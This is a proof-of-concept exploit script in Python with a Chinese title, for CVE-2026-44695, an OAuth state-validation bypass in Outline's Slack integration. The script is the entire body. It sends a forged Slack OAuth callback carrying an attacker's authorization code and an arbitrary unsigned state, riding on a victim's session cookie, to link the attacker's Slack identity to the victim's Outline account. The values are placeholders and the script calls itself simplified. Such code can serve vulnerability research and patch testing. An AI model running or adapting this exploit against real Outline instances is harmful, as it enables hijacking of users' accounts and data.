CVE-2026-44695 Outline Slack集成OAuth状态参数验证绕过漏洞

# Proof of Concept for CVE-2026-44695 # This script demonstrates the concept of the OAuth state bypass. # Note: This is a simplified representation of the attack flow. import requests # Configuration TARGET_URL = "https://target-outline-instance.com" # Attacker obtains a valid OAuth code for the target Outline's Slack App ATTACKER_OAUTH_CODE = "xoxp-attacker-obtained-authorization-code" # The vulnerable endpoint accepts an arbitrary, unsigned state VULNERABLE_STATE = "arbitrary_malicious_state" # The victim's session cookie (required for the linking to succeed) VICTIM_SESSION = "session=victim_session_cookie_value" def exploit(): headers = { "Cookie": VICTIM_SESSION, "User-Agent": "Mozilla/5.0 (Attacker Bot)" } # Construct the malicious callback URL # In a real scenario, the victim is tricked into visiting this URL params = { "code": ATTACKER_OAUTH_CODE, "state": VULNERABLE_STATE } callback_url = f"{TARGET_URL}/auth/slack.post" print(f"[*] Sending malicious request to: {callback_url}") print(f"[*] Using attacker OAuth code: {ATTACKER_OAUTH_CODE}") try: # Victim makes the request (triggered by attacker) response = requests.get(callback_url, params=params, headers=headers) if response.status_code == 200 or response.status_code == 302: print("[+] Potential success! The server accepted the callback.") print("[+] Check if the attacker's Slack ID is now linked to the victim's Outline account.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": exploit()